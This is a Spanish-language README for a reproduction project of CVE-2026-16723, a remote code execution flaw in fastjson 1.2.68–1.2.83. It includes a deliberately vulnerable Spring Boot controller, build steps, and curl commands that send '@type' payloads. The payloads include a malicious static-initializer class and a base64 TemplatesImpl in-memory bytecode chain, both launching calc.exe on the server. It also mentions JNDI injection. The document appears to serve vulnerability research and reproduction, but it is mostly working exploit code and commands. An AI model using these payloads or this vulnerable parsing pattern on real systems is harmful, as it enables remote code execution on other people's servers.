
Proyecto de reproducción para CVE-2026-16723, una RCE crítica en fastjson 1.2.68-1.2.83. Demuestra la evasión de AutoType, la inyección JNDI y cargas útiles en memoria de TemplatesImpl con endpoints vulnerables de Spring Boot.
Este proyecto reproduce CVE-2026-16723 — una vulnerabilidad crítica de Ejecución Remota de Código (RCE) en fastjson 1.2.68 hasta 1.2.83. La vulnerabilidad permite RCE bajo configuración predeterminada sin requerir la habilitación de AutoType ni gadgets preexistentes en el classpath.
| Propiedad | Valor |
|---|---|
| ID de CVE | CVE-2026-16723 |
| Componente | fastjson |
| Versiones Afectadas | 1.2.68 – 1.2.83 |
| Versiones Corregidas | 1.2.84+, 2.0.0+ |
| Tipo de Vulnerabilidad | Deserialización / RCE |
| Severidad | CVSS 3.1: 9.0 (CRÍTICA) |
| Vector de Ataque | Red |
| Complejidad | Baja |
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Ninguna |
fastjson-cve-2026-16723/
├── pom.xml # Proyecto principal (aplicación Spring Boot con fastjson vulnerable)
├── src/main/java/com/example/cve/
│ ├── FastjsonCveApplication.java # Punto de entrada de Spring Boot
│ └── controller/
│ └── VulnerableController.java # Endpoints REST vulnerables
├── malicious/ # Módulo separado: JAR malicioso para simulación de cadena de suministro
│ ├── pom.xml
│ └── src/main/java/exploit/
│ ├── MaliciousClass.java # Clase maliciosa con inicializador estático
│ ├── EvilTranslet.java # Translet malicioso para modo en memoria de TemplatesImpl
│ └── GenTemplatesPayload.java # Genera el payload JSON de TemplatesImpl
├── templates-payload.json # Payload de TemplatesImpl generado (variante directa)
├── templates-payload-preload.json # Payload de TemplatesImpl generado (variante de precarga de clase)
├── target/
│ └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
└── malicious-jar-1.0.jar
fastjson 1.2.68–1.2.83 contiene una omisión en el mecanismo de protección AutoType. Incluso con configuración predeterminada (autoTypeSupport=false), los atacantes pueden instanciar clases arbitrarias mediante payloads JSON manipulados utilizando cadenas de explotación como:
java.lang.Class + com.sun.rowset.JdbcRowSetImpl (inyección JNDI)java.lang.Runtime (ejecución directa de comandos)@type: exploit.MaliciousClass)VulnerableController.java — dos endpoints demuestran el problema:
@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
// Vulnerable: JSON.parseObject con configuración predeterminada
// ¡No se requiere ParserConfig.getGlobalInstance().setAutoTypeSupport(true)!
JSONObject obj = JSON.parseObject(json);
return "Parsed: " + obj.toJSONString();
}
@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
// Fuerza la deserialización a Object — desencadena la instanciación real de la clase
Object obj = JSON.parse(json);
return "Deserialized: " + obj.getClass().getName();
}
# Compilar la aplicación principal
mvn clean package -DskipTests
# Compilar el JAR malicioso (módulo separado)
cd malicious && mvn clean package && cd ..
target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — JAR gordo de Spring Bootmalicious/target/malicious-jar-1.0.jar — JAR malicioso con exploit.MaliciousClassjava -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
El servidor se inicia en http://localhost:8080
Requisito de tiempo de ejecución: este proyecto está dirigido a Java 8 y el modo en memoria de TemplatesImpl está verificado en JDK 8. En JDK 9+ el sistema de módulos bloquea el acceso reflectivo a los internos de
java.xml, por lo que la cadena falla conError: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpla menos que agregues las banderas--add-opens:java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \ --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \ -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
El pom.xml principal declara el JAR malicioso como dependencia, por lo que se incluye en el JAR gordo:
<dependency>
<groupId>exploit</groupId>
<artifactId>malicious-jar</artifactId>
<version>1</version>
</dependency>
Verificar en tiempo de ejecución:
curl http://localhost:8080/api/debug
curl http://localhost:8080/api/test
Esperado: CVE-2026-16723 Reproduction Endpoint Ready...
El módulo malicious proporciona exploit.MaliciousClass con un inicializador estático que ejecuta calc.exe al cargar la clase.
curl -X POST http://localhost:8080/api/deserialize \
-H "Content-Type: application/json" \
-d '{"@type":"exploit.MaliciousClass"}'
Resultado:
>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<
Y calc.exe se lanza en el servidor.
Nota: Esto demuestra un escenario de cadena de suministro donde una dependencia maliciosa está presente en el classpath. La vulnerabilidad permite la instanciación de cualquier clase en el classpath, no solo clases JDK.
A diferencia del modo de cadena de suministro (que necesita la clase maliciosa en el classpath) y del modo JNDI (que necesita un servidor LDAP/RMI), este modo incrusta el bytecode malicioso directamente en el payload y lo carga desde memoria mediante com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl — no es necesario desplegar nada adicional.
Paso 1 — generar el payload:
cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload
Esto compila exploit.EvilTranslet (una subclase de AbstractTranslet cuyo inicializador estático ejecuta calc.exe), codifica en base64 los bytes de su .class y escribe:
templates-payload.json — variante directa ("@type": "TemplatesImpl")templates-payload-preload.json — variante de precarga de java.lang.ClassPaso 2 — disparar el payload:
curl -X POST http://localhost:8080/api/deserialize-autotype \
-H "Content-Type: application/json" \
--data-binary @templates-payload.json
Resultado:
>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<
Y calc.exe se lanza en el servidor.